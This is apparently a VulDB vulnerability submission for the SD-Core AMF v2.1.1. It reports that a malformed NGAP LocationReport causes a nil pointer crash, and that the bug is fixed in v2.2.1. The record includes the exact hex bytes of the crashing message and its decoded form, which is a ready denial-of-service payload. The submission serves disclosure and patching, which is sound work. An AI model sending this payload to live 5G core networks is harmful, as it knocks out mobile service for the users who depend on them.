| Title | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| Description | If a malformed LocationReport is sent to AMF it crashes. Invalid memory address or nil pointer dereference.
Sending this following LocationReport NGAP message
00 12 00 1C 80 00 01 00 00 00 02 00 00 00 01 00 02 00 00 00 00 00 03 01 80 00 00 01 40 02 08 00
initiatingMessage : { procedureCode 18, criticality reject, value LocationReport: { protocolIEs { { id 0, criticality reject, value '0000'H } } } }
This will crash the AMF
AMF Version: v2.1.1
Developers have acknowledged the issue and it has been fixed in v2.2.1
Fixed image:
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa
|
|---|
| Source | ⚠️ https://github.com/omec-project/amf/issues/672 |
|---|
| User | shovon0203 (UID 96191) |
|---|
| Submission | 04/23/2026 17:09 (3 months ago) |
|---|
| Moderation | 05/11/2026 18:28 (18 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 362663 [omec-project amf up to 2.1.1 NGAP Message memory corruption] |
|---|
| Points | 20 |
|---|